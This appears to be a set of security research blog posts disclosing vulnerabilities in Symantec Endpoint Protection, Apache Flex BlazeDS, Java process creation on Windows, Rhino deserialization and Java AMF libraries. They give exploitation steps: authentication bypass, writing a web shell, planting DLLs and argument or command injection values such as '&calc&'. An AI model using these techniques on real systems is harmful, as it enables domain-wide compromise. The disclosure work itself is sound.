In this post, we will take a closer look at some of the discovered vulnerabilities in detail and demonstrate their exploitation. In combination, they effectively allow an unauthenticated attacker the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges on both the SEP Manager (SEPM) server, as well as on SEP clients running Windows. That can result in the full compromise of a whole corporate network.

Vulnerabilities in Symantec Endpoint Protection 12.1

Code White discovered the following vulnerabilities in Symantec Endpoint Protection 12.1:

SEP Manager
Authentication Bypass (CVE-2015-1486)
Allows unauthenticated attackers access to SEPM
Mulitple Path Traversals (CVE-2015-1487, CVE-2015-1488, CVE-2015-1490)
Allows reading and writing arbitrary files, resulting in the execution of arbitrary commands with 'NT Service\semsrv' privileges
Privilege Escalation (CVE-2015-1489)
Allows the execution of arbitrary OS commands with 'NT Authority\SYSTEM' privileges
Multiple SQL Injections (CVE-2015-1491)
Allows the execution of arbitrary SQL
SEP Clients
Binary Planting (CVE-2015-1492)
Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows

The objective of our research was to find a direct way to take over a whole Windows domain and thus aimed at a full compromise of the SEPM server and the SEP clients running on Windows. Executing post exploitation techniques, like lateral movement, would be the next step if the domain controller hasn't already been compromised by this.

Therefore, we focused on SEPM's Remote Java or Web Console, which is probably the most exposed interface (accessible via TCP ports 8443 and 9090) and offers most of the functionalities of SEPM's remote interfaces. There are further entry points, which may also be vulnerable and exploitable to gain access to SEPM, its server, or the SEP clients. For example, SEP clients for Mac and Linux may also be vulnerable to Binary Planting.

Attack Vector and Exploitation

A full compromise of the SEPM server and SEP clients running Windows was possible through the following steps:

  1. Gaining administrative access to the SEP Manager (CVE-2015-1486)
  2. Full compromise of SEP Manager server (CVE-2015-1487 and CVE-2015-1489)
  3. Full compromise of SEP clients running Windows (CVE-2015-1492)

CVE-2015-1486: SEPM Authentication Bypass

SEPM uses sessions after the initial authentication. User information is stored in a AdminCredential object, which is associated to the user's session. Assigning the AdminCredential object to a session is implemented in the setAdminCredential method of ConsoleSession, which again holds an HttpSession object.

This setAdminCredential method is only called at two points within the whole application: once in the LoginHandler and once in the ResetPasswordHandler.

Its purpose in LoginHandler is obvious. But why is it used in the ResetPasswordHandler? Let's have a look at it!

Password reset requests are handled by the ResetPasswordHandler handler class. The implementation of the handleRequest method of this handler class can be observed in the following listing:

After the prologue in lines 72-84, the call to the init method calls the findAdminEmail method for looking up the recipient's e-mail address.

Next, the getCredential method is called in line 92 to retrieve the AdminCredential object of the corresponding administrator. The AdminCredential object holds information on the administrator, e. g., if it's a system administrator or a domain administrator as well as an instance of the SemAdministrator class, which finally holds information such as the name, e-mail address, and hashed password of the administrator.

The implementation of the getCredential method can be seen in the following listing:

Line 367 creates a new session, which effectively results in issuing a new JSESSIONID cookie to the client. In line 368, the doGetAdminCredentialWithoutAuthentication method is called to get the AdminCredential object without any authentication based on the provided UserID and Domain parameters.

Finally – and fatally –, the looked up AdminCredential object is associated to the newly created session in line 369, making it a valid and authentic administrator's session. This very session is then handed back to the user who requested the password reset. So by requesting a password reset, you'll also get an authenticated administrator's session!

An example of what a request for a password reset for the built-in system administrator 'admin' might look like can be seen in the following listing:

And the response to the request:

The response contains the JSESSIONID cookie of the newly created session with the admin's AdminCredential object associated to it.

Note that this session cannot be used with the Web console as it is missing some attribute required for AjaxSwing. However, it can be used to communicate with the other APIs like the SPC web services, which, for example, allows creating a new SEPM administrator.

CVE-2015-1487: SEPM Arbitrary File Write

The UploadPackage action of the BinaryFile handler is vulnerable to path traversal, which allows arbitrary files to be written. It is implemented by the BinaryFileHandler handler class. Its handleRequest method handles the requests and the implementation can be observed in the following listing:

Handling of the UploadPackage action starts at line 189. The PackageFile parameter value is used as file name and the KnownHosts parameter value as directory name. Interestingly, the provided directory name is checked for path traversal by looking for directory separators '/' and '\' (see line 196, possibly related to CVE-2014-3439). However, the file name is not, which still allows to specify any arbitrary file location.

The following request results in writing the given POST request body data to the file located at '[…]\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\exec.jsp':

Writing a JSP web shell as shown allows the execution of arbitrary OS commands with 'NT Service\semsrv' privileges.

CVE-2015-1489: SEPM Privilege Escalation

The Symantec Endpoint Protection Launcher executable SemLaunchSvc.exe is running as a service on the SEPM server with 'NT Authority\SYSTEM' privileges. It is used to launch processes that require elevated privileges (e. g., LiveUpdate, ClientRemote, etc.). The service is listening on the loopback port 8447 and SEPM communicates with the service via encrypted messages. The communication endpoint in SEPM is the SemLaunchService class. One of the supported tasks is the CommonCMD, which results in command line parameters of a cmd.exe call.

Since we are able to execute arbitrary Java code within SEPM's web server context, we can effectively execute commands with 'NT Authority\SYSTEM' privileges on the SEPM server.

CVE-2015-1492: SEP Client Binary Planting

The client deployment process on Windows clients is vulnerable to Binary Planting. It is an attack exploiting the behavior of how Windows searches for files of dynamically loaded libraries when loading them via LoadLibrary only by their name. If it is possible for an attacker to place a custom DLL in one of the locations the DLL is searched in, it is possible to execute arbitrary code with the DllMain entry point function, which gets executed automatically on load.

Symantec Endpoint Protection is vulnerable to this flaw: During the installation of a deployment package on a Windows client, the SEP client service ccSvcHst.exe starts the smcinst.exe from the installation package as a service. This service tries to load several DLLs, e. g., the UxTheme.dll.

By deploying a specially crafted client installation package with a custom DLL, it is possible to execute arbitrary code with 'NT Authority\SYSTEM' privileges.

A custom installation package containing a custom DLL can be constructed and deployed in SEPM with the following steps.

Export Package
Download an existing client installation package for Windows as a template:
  • Go to 'Admin', 'Installation Packages'.
  • Select a directory where you want to export it to.
  • Select one of the existing packages for Windows and click on 'Export a Client Installation Package'.
  • Untick the 'Create a single .EXE file for this package'.
  • Untick the 'Export packages with policies from the following groups'.
  • Click 'OK'.
Modify Package
Tamper with the client installation package template:
  • Within the downloaded installation package files, delete the packlist.xml file.
  • Open the setAid.ini file, delete the PackageChecksum line and increase the values of ServerVersion and ClientVersion to something like 12.2.0000 instead of 12.1.5337.
  • Open the Setup.ini file and increase the ProductVersion value accordingly.
  • Copy the custom DLL into the package directory and rename it UxTheme.dll.
Import and deploy Package
Create a new client installation package from the tampered files and deploy it to the clients:
  • Go to 'Admin', 'Installation Packages'.
  • Click 'Add a Client Installation Package'.
  • Give it a name, select the directory of the tampered client installation package files, and upload it.
  • Click 'Upgrade Clients with Package'.
  • Choose the newly created client installation package and the group it should be deployed to.
  • Open the 'Upgrade Settings', untick 'Maintain existing client features when upgrading' and select the default feature set for the target group, e. g., 'Full Protection for Clients'.
  • Upgrade the clients by clicking 'Next'.

The loading of the planted binary may take some while, probably due to some scheduling of the smcinst.exe service.

Conclusion

We have successfully demonstrated that a centralized enterprise management solution like the Symantec Endpoint Protection suite is a critical asset in a corporate network as unauthorized access to the manager can have unforeseen influence on the managed clients. In this case, an exposed Symantec Endpoint Protection Manager can result in the full compromise of a whole corporate domain.

CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty

24 August 2015 at 11:23

In a recent Product Security Review, Code White Researchers discovered a XXE vulnerability in Apache Flex BlazeDS/Adobe (see ASF Advisory). The vulnerable code can be found in the BlazeDS Remoting/AMF protocol implementation.

All versions before 4.7.1 are vulnerable. Software products providing BlazeDS Remoting destinations might be also affected by the vulnerability (e.g. Adobe LiveCycle Data Services, see APSB15-20).

Vulnerability Details

An AMF message has a header and a body. To parse the body, the method readBody() of AmfMessageDeserializer is called. In this method, the targetURI, responseURI and the length of the body are read. Afterwards, the method readObject() is called which eventually calls the method readObject() of an ActionMessageInput instance (either Amf0Input or Amf3Input).

In case of an Amf0Input instance, the type of the object is read from the next byte. If type has the value 15, the following bytes of the body are parsed in method readXml() as a UTF string.

The xml string gets passed to method stringToDocument of class XMLUtil where the Document is created using the DocumentBuilder.

When a DocumentBuilder is created through the DocumentBuilderFactory, external entities are allowed by default. The developer needs to configure the parser to prevent XXE.

Exploitation

Exploitation is easy, just send the XXE vector of your choice.

Java and Command Line Injections in Windows

4 February 2016 at 16:03

Everyone knows that incorporating user provided fragments into a command line is dangerous and may lead to command injection. That’s why in Java many suggest using ProcessBuilder instead where the program’s arguments are supposed to be passed discretely in separate strings.

However, in Windows, processes are created with a single command line string. And since there are different and seemingly confusing parsing rules for different runtime environments, proper quoting seems to be likewise complicated.

This makes Java for Windows still vulnerable to injection of additional arguments and even commands into the command line.

Windows’ CreateProcess Command Lines

In Windows, the main function for creating processes is the CreateProcess function. And in contrast to C API functions like execve, arguments are not passed separately as an array of strings but in a single command line. On the other side, the entry point function WinMain expects a single command line argument as well.

This circumstance requires the program to parse the command line itself for extracting the arguments. And although Windows provides a CommandLineToArgvW function and supports C and C++ API entry point functions where arguments are already parsed by the runtime and passed in a argc/argv style, the rules for quoting command line arguments with all their quirks can be quite confusing. And there is no definitive guide on how to quote properly, let alone something like a ArgvToCommandLineW function that does it for you. That’s why many do it wrong, as “Everyone quotes command line arguments the wrong way” by Daniel Colascione observes.

You should definitely read the latter two linked pages first to understand the rest of this blog post.

For testing, we’ll use the following Java class, which utilizes ProcessBuilder as suggested:

The resulting CreateProcess command line can be observed with the Windows Sysinternals’ Process Monitor. And for how the command line gets parsed, you can use the following program, which prints the results of both the parsing of C command-line arguments (via the argv function parameter) and of the parsing of C++ command-line arguments (via CommandLineToArgvW function).

This already produces different and frankly surprising results in some cases:

The last two are remarkable as one additional quotation mark swaps the results of argv and CommandLineToArgvW.

Java’s Command Line Generation in Windows

With the knowledge of how CreateProcess expects the command line arguments to be quoted, let’s see how Java builds the command line and quotes the arguments for Windows.

If a process is started using ProcessBuilder, the arguments are passed to the static method start of ProcessImpl, which is a platform-dependent class. In the Windows implementation of ProcessImpl, the start method calls the private constructor of ProcessImpl, which creates the command line for the CreateProcess call.

In the private constructor of ProcessImpl, there are two operational modes: the legacy mode and the strict mode. These are the result of issues caused by changes to Runtime.exec. The legacy mode is only performed if there is no SecurityManager present and the property jdk.lang.Process.allowAmbiguousCommands is not set to false.

The Legacy Mode

In the legacy mode, the first argument (i. e., the program to execute) is quoted if required and then the command line is created using createCommandLine.

The needsEscaping method checks whether the value is already quoted using isQuoted or wraps it in double quotes if it contains certain characters.

The vertification type VERIFICATION_LEGACY passed to needsEscaping makes noQuotesInside in isQuoted being false, which would allow quotation marks within the path. It also makes needsEscaping test for space and tabulator characters only.

But let’s take a look at the createCommandLine method, which creates the command line:

Again, with the verification type VERIFICATION_LEGACY the needsEscaping method only returns true if it is already wrapped in quotes (regardless of any quotes within the string) or if it is not wrapped in quotes and contains a space or tabulator character (again, regardless of any quotes within the string). If it needs quoting, it is simply wrapped in quotes and a possible trailing backslash is doubled.

Ok, so far, so good. Now let’s recall Daniel Colascione’s conclusion:

Do not:

  1. Simply add quotes around command line argument arguments without any further processing.
  2. […]

Yes, exactly. This can be exploited to inject additional arguments:

  • A value that is considered to be quoted:
    • passed argument value: "arg 1" "arg 2" "arg 3"
    • quoted argument value: no quoting needed as it’s “already quoted”
    • parsed argument values: ['arg 1', 'arg 2', 'arg 3']
  • A value that is considered to be not quoted but requires quotes:
    • passed argument value: "arg" 1" "arg 2" "arg 3
    • quoted argument value: ""arg" 1" "arg 2" "arg 3"
    • parsed argument values: ['arg 1', 'arg 2', 'arg 3']

The Strict Mode

In the strict mode, things are a little different.

If the path contains a quote, getExecutablePath throws an exception and the catch block is executed where getTokensFromCommand tries to extract the path.

However, the rather interesting part is that createCommandLine is called with a different verification type based on whether isShellFile denotes it as a shell file.

But I’ll come back to that later.

With the verification type VERIFICATION_WIN32, noQuotesInside is still false and both injection examples mentioned above work as well.

However, if needsEscaping is called with the verification type VERIFICATION_CMD_BAT, noQuotesInside becomes true. And without being able to inject a quote we can’t escape the quoted argument.

CreateProcess’ Silent cmd.exe Promotion

Remember the isShellFile checked the file name extension for .cmd and .bat? This is due to the fact that CreateProcess executes these files in a cmd.exe shell environment:

[…] the decision tree that CreateProcess goes through to run an image is as follows:

  • […]
  • If the file to run has a .bat or .cmd extension, the image to be run becomes Cmd.exe, the Windows command prompt, and CreateProcess restarts at Stage 1. (The name of the batch file is passed as the first parameter to Cmd.exe.)
  • […]

Windows Internals, 6th edition (Part 1)

That means a 'file.bat …' becomes 'C:\Windows\system32\cmd.exe /c "file.bat …"' and an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe.

However, since Java does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, injection is even easier: &calc& does not require any quoting and will be interpreted as a separate command by cmd.exe.

This works in the legacy mode just like in the strict mode if we make isShellFile return false, e. g., by adding whitespace to the end of the path, which tricks the endsWith check but are ignored by CreateProcess.

Conclusion

Command line parsing in Windows is not consistent and therefore the implementation of proper quoting of command line argument even less. This may allow the injection of additional arguments.

Additionally, since CreateProcess implicitly starts .bat and .cmd in a cmd.exe shell environment, even command injection may be possible.

As a sample, Java for Windows fails to properly quote command line arguments. Even with ProcessBuilder where arguments are passed as a list of strings:

  • Argument injection is possible by providing an argument containing further quoted arguments, e. g., '"arg 1" "arg 2" "arg 3"'.
  • On cmd.exe process command lines, a simple '&calc&' alone suffices.

Only within the most strictly mode, the VERIFICATION_CMD_BAT verification type, injection is not possible:

  • Legacy mode:
    • VERIFICATION_LEGACY: There is no SecurityManager present and jdk.lang.Process.allowAmbiguousCommands is not explicitly set to false (no default set)
      • allows argument injection
      • allows command injection in cmd.exe calls (explicit or implicit)
  • Strict mode:
    • VERIFICATION_CMD_BAT: Most strictly mode, file ends with .bat or .cmd
      • does not allow argument injection
      • does not allow command injection in cmd.exe calls
    • VERIFICATION_WIN32: File does not end with .bat or .cmd
      • allows argument injection
      • allows command injection in cmd.exe calls (explicit or implicit)

However, Java’s check for switching to the VERIFICATION_CMD_BAT mode can be circumvented by adding whitespace after the .bat or .cmd.

Compromised by Endpoint Protection: Legacy Edition

23 February 2016 at 13:50

The previous disclosure of the vulnerabilities in Symantec Endpoint Protection (SEP) 12.x showed that a compromise of both the SEP Manager as well as the managed clients is possible and can have a severe impact on a whole corporate environment.

Unfortunately, in older versions of SEP, namely the versions 11.x, some of the flawed features of 12.x weren’t even implemented, e. g., the password reset feature. However, SEP 11.x has other vulnerabilities that can have in the same impact.

Vulnerabilities in Symantec Endpoint Protection 11.x

The following vulnerabilities have been discovered in Symantec Endpoint Protection 11.x:

SEP Manager
SQL Injection
Allows the execution of arbitrary SQL on the SQL Server by unauthenticated users.
Command Injection
Allows the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges by users with write acceess to the database, e. g., via the before-mentioned SQL injection.
SEP Client
Binary Planting
Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows by local users.

As SEP 11.x is out of support since early 2015 and Symantec won’t provide a patch, you are highly advised to upgrade to 12.1.

SEP Manager

SQL Injection

The AgentRegister operation of the AgentServlet is vulnerable to SQL injections within the HardwareKey attribute:

To reach that point, we need to provide a valid DomainID, which can be retrieved from a SEP client installation from the SyLink.xml file located in C:\ProgramData\Symantec\Symantec Endpoint Protection\CurrentVersion\Data\Config.

Exploiting this vulnerability is a little more complicated. For example, changing a SEPM administrator user’s password requires the manipulation of a configuration stored as an XML document in the database.

The administrative users are stored in the SemConfigRoot document in the basic_metadata table with the hard-coded ID B655E64D0A320801000000E164041B79. An administrator entry might look like this:

The complicated part is that this configuration document is crucial for the whole SEPM. Any changes resulting in an invalid XML document result in a denial of service. That’s why it’s important that any change results in a valid document as well.

So how can we modify that document to our advantages?

The stored PasswordHash is simply the MD5 of the password in hexadecimal representation. So replacing that attribute value with a new one would allow us to login with that password.

But we neither know the current PasswordHash value (obviously!) nor any other attribute value that we can use as an anchor point for the string manipulate.

However, we know other parts of the SemAdministrator element that we can use. For example, if we replace ' PasswordHash=' by ' PasswordHash="[…]" OldPasswordHash=', we can set our own PasswordHash value while being able to reverse the operation by replacing ' PasswordHash="[…]" OldPasswordHash=' by ' PasswordHash=':

Here we first do the reverse operation in line 14 before updating the PasswordHash value with ours in line 15 to avoid accidentally creating an invalid document in the case the update is executed multiple times.

There may also be other attributes that needs to be modified like the Name or AuthenticationMethod for local instead of RSA SecureId or Directory authentication.

The reset would be just doing the reverse operation on the XML document:

Now we can log into the SEPM and could exploit CVE-2015-1490 to upload arbitrary files to the SEPM server, resulting in the execution of arbitrary code with 'NT Authority\SYSTEM' privileges.

If changing the admin password does not work for some reasons, you can also use the SQL injection to exploit the command injection described next.

Command Injection

From the previous blog post on Java and Command Line Injections in Windows we know that injecting additional arguments and even commands may be possible in Java applications on Windows, even when ProcessBuilder is utilized.

SEPM does create processes only in a few locations but even less seem promising and can be triggered. The SecurityAlertNotifyTask class is one of them, which processes security alerts from the database, which we can modify with the SQL injection.

The notification tasks are stored in the notification table. For manipulating the command line, we need to reach the doRunExecutable(String) method. This happens if the notification.email contains batchfile. The executable to call is taken from notification.batch_file_name. However, only existing files from the C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin directory can be specified.

The next problem is to find a way to manipulate arguments used in the building of the command line. The only additional argument passed is the parameter of the doRunExecutable method. Unfortunately, the values passed are notification messages originating from a properties file and most of them are parameterized with integers only.

However, the notification message for a new virus is parameterized with the name of the new virus, which originates from the database as well. So if we register a new virus with our command line injection payload as the virus name and register a new security alert notification, the given batch file would be called with the predefined notification message containing the command line injection. And since .bat files are silently started in a cmd.exe shell environment, it should be easy to get a calc.

The following SQL statements set up the mentioned security alert notification scenario:

The resulting CreateProcess command line is:

    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&".""

And the command line interpreted by cmd.exe is:

    "C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&"."

And there we have a calc.

SEP Client

Binary Planting

The Symantec AntiVirus service process Rtvscan.exe of the SEP client is vulnerable to Binary Planting, which can be exploited for local privilege escalation. During the collection of version information of installed engines and definitions, the process is looking for a SyKnAppS.dll in C:\ProgramData\Symantec\SyKnAppS\Updates and loading it if present. This directory is writable by members of the built-in Users group:

The version information collection can be triggered in the SEP client GUI via Help and Support, Troubleshooting..., then Versions. To exploit it, we place our DLL into the C:\ProgramData\Symantec\SyKnAppS\Updates directory. But before that, we need to place the original SyKnAppS.dll from the parent directory in there and trigger the version information collection once as SEP does some verification of the DLL before loading but only once and not each time:

  • Copy genuine SyKnAppS.dll to Updates:
    copy C:\ProgramData\Symantec\SyKnAppS\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
  • Trigger version information collection via Help and Support, Troubleshooting..., then Versions.
  • Copy custom SyKnAppS.dll to Updates:
    copy C:\Users\john\Desktop\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
  • Trigger version information collection again.

The service is running with 'NT Authority\SYSTEM' privileges.

Infiltrate 2016 Slidedeck: Java Deserialization Vulnerabilities

12 April 2016 at 14:11
The outcome of Code White's research efforts into Java deserialization vulnerabilities was presented at Infiltrate 2016 by Matthias Kaiser.

The talk gave an introduction into finding and exploiting Java deserialization vulnerabilities. Technical details about the Oracle Weblogic deserialization RCE (CVE-2015-4852) and a SAP Netweaver AS Java 0day were shown.

The slidedeck doesn't include the SAP Netweaver AS Java 0day POC and it won't be published until fixed.

It  can be found here:
http://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class

Stay tuned!

Return of the Rhino: An old gadget revisited

4 May 2016 at 19:06
[Update 08/05/2015: Added reference to CVE-2012-3213 of James Forshaw. Thanks for the heads up]

As already mentioned in our Infiltrate '16 and RuhrSec '16 talks, Code White spent some research time to look for serialization gadgets. Apart from the Javassist/Weld gadget we also found an old but interesting gadget, only using classes from the Java Runtime Environment (so called JRE gadget).

We called the gadget Return of the Rhino since the relevant gadget classes are part of the Javascript engine Rhino, bundled with Oracle JRE6 and JRE7.
As you may already know, the Rhino Script engine has already been abused in JVM sandbox escapes in the past (e.g. CVE-2011-3544 of Michael Schierl and CVE-2012-3213 of James Forshaw).

We stumbled over the gadget just by accident as we realized that there is a huge difference between the official Oracle JRE and the JRE's bundled in common Linux distros.
Most may not know that the Rhino Script Engine is actively developed by the Mozilla Project and distributed as a standalone package/jar (packages under org.mozilla.*). Furthermore, Oracle JRE6/7 is bundling an old fork of Rhino (packages under sun.org.mozilla.*).  Surprisingly, Oracle applied some hardening to Rhino core classes with JRE7u1513, not being serializable anymore. The changes were made to fix a sandbox escape (CVE-2012-3213) of James Forshaw (see James' blog post).

 But those hardening changes were not incorporated into Mozilla's Rhino mainline, which happens once in a while. So the gadget still works if you are using OpenJdk bundled with Ubuntu or Debian.
Let's take a look at the static view of some Rhino core classes:



In the Rhino Javascript domain almost every Javascript language object is represented as a ScriptableObject in the Java domain.
Functions, Types, Regexes and several other Javascript objects are implemented in Java classes, extending ScriptableObject.
A ScriptableObject has two interesting members. A reference to its prototype object and an array of Slot objects. The slots store the properties of a Javascript object. The Slot can either be Slot, GetterSlot or RelinkedSlot. For our gadget we only focus on the GetterSlot inner class.
Every Slot class has a getValue() method used to retrieve the value of the property. In case of a GetterSlot the value is taken from a call to either a MemberBox or Function instance. And both MemberBox and Function instances do dynamic method calls using Java's Reflection API. That's already the essence of the story :-). But let's go into details.

The class NativeError is a successor of IdScriptableObject which inherits from ScriptableObject. ScriptableObject implements the tagging interface Serializable, hence all successors like NativeError are serializable. The class NativeError has an interesting way of how toString() is performed:

In the very beginning toString() just calls js_toSting(this).

And now we reach the point where it gets interesting. In the first line of js_toString(), a property called "name" is retrieved from the NativeError instance using the static method ScriptableObject.getProperty().






In ScriptableObject.getProperty() the property value is retrieved by calling the IdScriptableObject.get() method which delegates the property resolution call to its ancestor ScriptableObject.

ScriptableObject gets the value of the property from the Slot instance of the Slot[] by calling the getValue() method.
In case of a ScriptableObject$GetterSlot (inner class of ScriptableObject) we finally reach the code where reflection calls are eventually happening.
As already shown in the static class view, ScriptableObject$GetterSlot has a member "getter" of class Object. In the getValue() method of ScriptableObject$GetterSlot two cases are checked.


In case of getter being an instance of MemberBox, the invoke method on the MemberBox instance is called which just wraps a dynamic call using Java's Reflection API.



The Method object used in the reflection call comes from the member variable "memberObject" of class MemberBox. Although "memberObject" is of type java.lang.reflect.Member, only java.lang.reflect.Method or java.lang.reflect.Constructor instances are valid classes for "memberObject". Both java.lang.reflect.Method and java.lang.reflect.Constructor are not serializable, so obviously the value of "memberObject" needs to be set in the readObject() method of MemberBox during deserialization.





Specifically, "memberObject" is set in method readMember(), creating a java.lang.reflect.Method object using values coming from the serialized object stream.








So we can control the java.lang.reflect.Method object used in the reflection call. How about the instance ("getterThis") on which method gets invoked? Is this instance also created from the serialized object stream and hence under our control? If we look back into the implementation of method ScriptableObject$GetterSlot.getValue(), we see that the value of "getterThis" depends on the value of member "delegateTo" of the MemberBox instance. "delegateTo" is marked transient and is not set in readObject() during deserialization. So the first case of the if-statement applies and "getterThis" is assigned to "start" which is our NativeError instance. And the arguments of the reflection call are just set to an empty Object[]. Bad for us, but there's hope as we will see later.

Looking again at ScriptableObject$GetterSlot.getValue() we see a second case, if "getter" is an instance of Function. The interface Function sounds very interesting.







And we have plenty of classes implementing Function, most of them being serializable.





















From all those classes the serializable NativeJavaMethod class nearly jumped into our face. Before we go into details, let's take another look at the static view of some Rhino core classes, taking the NativeJavaMethod into account.



And a quick look into the call() method revealed the following: In the beginning, the "index" variable is returned from the call to method findCachedFunction(). This method eventually calls findFunction() which calculates one MemberBox instance from the member "methods"(of type MemberBox[]) using a more or less complex algorithm. If the methods array has only one element, findCachedFunction() will just return 0 as the index value.

The variable "meth" is assigned to methods[0]. Just keep in mind that the member "methods" is under our control as it comes from the serialized object stream. At the very end of the figure we have a dynamic method invocation, as the method invoke() is called on the MethodBox instance "meth". So we can control the Method object/method to be invoked which is half the battle.



How about the target instance "javaObject". Can we control it?
We might be able to control it if "o" is an instance of Wrapper. Then, the unwrap() method on "o" is called and the return value assigned to "javaObject". "o" is assigned to "thisObject" which is our NativeError instance. NativeError is not of type Wrapper, but we can see a "for" loop which reassigns "o" to the prototype object of "o" using the getPrototype() method.
So if you can set the prototypeObject member of our NativeError instance to a Wrapper instance and get the unwrap() method to return an object under our control we are ready to go!
And the serializable class NativeJavaObject does what is needed here. It just returns the value of the member "javaObject" in its unwrap() method.


Another update to the static view of some Rhino core classes, taking NativeJavaObject into account.








So apperently the only thing we need to do is to create a NativeError instance, set its prototype to a NativeJavaObject which wraps our target instance, create a NativeJavaMethod and specify the method to be invoked on the target instance, serialize it and deserialize it again. But now we get the following exception:



Looks like we need a Context being associated with the current thread :-(
But hey! There is a static method Context.enter() which sets the Context we really need. We just need to trigger it in advance. But how to call Context.enter() if we can't use a MethodBox nor a NativeJavaMethod. To get around this, we use a trick we had known for a while:

When you do a reflection call, the target object is ignored, if the method to be invoked is a static method. That's it.



And if you look back, we already had found a call to invoke() on a MemberBox instance being triggered from method ScriptableObject$GetterSlot.getValue(). But the first argument was always our NativeError instance. As already mentioned, the first argument gets ignored if you use a static method such as Context.enter() as your target method :-).
So if we would have two property accesses on NativeError, we could then trigger a reflection call on Context.enter() using a MemberBox and then another reflection call using a NativeJavaMethod.
Luckily, we have two property accesses in method  js_toString() of class NativeError:





The only remaining problem is how to trigger a toString() call on a NativeError object during deserialization. As you may have already seen in our Infiltrate '16 or RuhrSec '16 slidedecks you can use the "trampoline" class javax.management.BadAttributeValueExpException for that.




Getting code execution is trivial now. You can use Adam Gowdiak's technique and create a serializable com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl instance and invoke the newTransformer() method on it by using the reflection primitive of NativeJavaMethod. Or you just invoke the execute() method on a serializable com.sun.rowset.JdbcRowSetImpl instance and load a RMI class from your server (for further details see our Infiltrate '16 or RuhrSec '16  slidedecks).

AMF – Another Malicious Format

4 April 2017 at 14:01

AMF is a binary serialization format primarily used by Flash applications. Code White has found that several Java AMF libraries contain vulnerabilities, which result in unauthenticated remote code execution. As AMF is widely used, these vulnerabilities may affect products of numerous vendors, including Adobe, Atlassian, HPE, SonicWall, and VMware.

Vulnerability disclosure has been coordinated with US CERT (see US CERT VU#307983).

Summary

Code White has analyzed the following popular Java AMF implementations:

Each of these have been found to be affected by one or more of the following vulnerabilities:

  • XML external entity resolution (XXE)
  • Creation of arbitrary objects and setting of properties
  • Java Deserialization via RMI

The former two vulnerabilities are not completely new.1 But we found that other implementations are also vulnerable. Finally, a way to turn a design flaw common to all implementations into a Java deserialization vulnerability has been discovered.

XXE JavaBeans Setters Deserialization via RMI
Adobe Flex BlazeDS
4.6.0.23207
Apache Flex BlazeDS
4.7.2
Flamingo AMF Serializer
2.2.0
GraniteDS
3.1.1.GA
WebORB for Java
5.1.0.0

We'll get into details later, except for the XXE. If you're looking for details on that, have a look at our previous blog post CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty.

Introduction

The Action Message Format version 3 (AMF3) is a binary message format mainly used by Flash applications for communicating with the back end. Like JSON, it supports different kind of basic data types. For backwards compatibility, AMF3 is implemented as an extension of the original AMF (often referred to as AMF0), with AMF3 being a newly introduced AMF0 object type.

One of the new features of AMF3 objects is the addition of two certain characteristics, so called traits:

[…] ActionScript 3.0 introduces two further traits to describe how objects are serialized, namely 'dynamic' and 'externalizable'. The following table outlines the terms and their meanings:
  • […]
  • Dynamic: an instance of a Class definition with the dynamic trait declared; public variable members can be added and removed from instances dynamically at runtime
  • Externalizable: an instance of a Class that implements flash.utils.IExternalizable and completely controls the serialization of its members (no property names are included in the trait information).
http://www.adobe.com/go/amfspec

Let's elaborate on these new traits, especially on how these are implemented and the resulting implications.

The Dynamic Trait

The dynamic trait is comparable to JavaBeans functionality: it allows the creation of an object by specifying its class name and its properties by name and value. And actually, many implementations use existing JavaBeans utilities such as the java.beans.Introspector (e. g., Flamingo, Flex BlazeDS, WebORB) or they implement their own introspector with similar functionality (e. g., GraniteDS).

That this kind of functionality can pose an exploitable vulnerability has already been noticed and shown various times. Frankly, Wouter Coekaerts had already reported this kind of vulnerability in some AMF implementations in 2011 and published an exploit for applications based on Catalina (e. g., Tomcat) in 2016. And with the advent of Java deserialization vulnerability research, even a way of extending arbitrary setter calls to Java deserialization using JRE classes only has been suggested.

The Externalizable Trait

The externalizable trait is comparable to Java's java.io.Externalizable interface. And in fact, all mentioned library vendors actually interpreted the flash.utils.IExternalizable interface from the specification as being equivalent to Java's java.io.Externalizable, effectively allowing the reconstruction of any class implementing the java.io.Externalizable interface.

Short excursion regarding the different between java.io.Serializable and java.io.Externalizable: if you look at the java.io.Serializable interface, you'll see it is empty. So there are no formal contracts that can be enforced at build time by the compiler. But classes implementing the java.io.Serializable interface have the option to override the default serialization/deserialization by implementing various methods. That means there are a lot of additional checks during runtime whether an actual object implements one of these opt-in methods, which makes the whole process bloated and slow.

Therefore, the java.io.Externalizable interface was introduced, which specifies two methods, readExternal(java.io.ObjectInput) and writeExternal(java.io.ObjectInput), that give the class complete control over the serialization/deserialization. This means no default serialization/deserialization behavior, no additional checks during runtime, no magic. That makes serialization/deserialization using java.io.Externalizable much simpler and thus faster than using java.io.Serializable.

But now let's get back on track.

Turning Externalizable.readExternal into ObjectInputStream.readObject

In OpenJDK 8u121, there are 15 classes implementing the java.io.Externalizable and most of them only do boring stuff like reconstructing an object's state. Additionally, the actual instances of the java.io.ObjectInput passed to Externalizable.readExternal(java.io.ObjectInput) methods of the implementations are also not an instance of java.io.ObjectInputStream. So no quick win here.

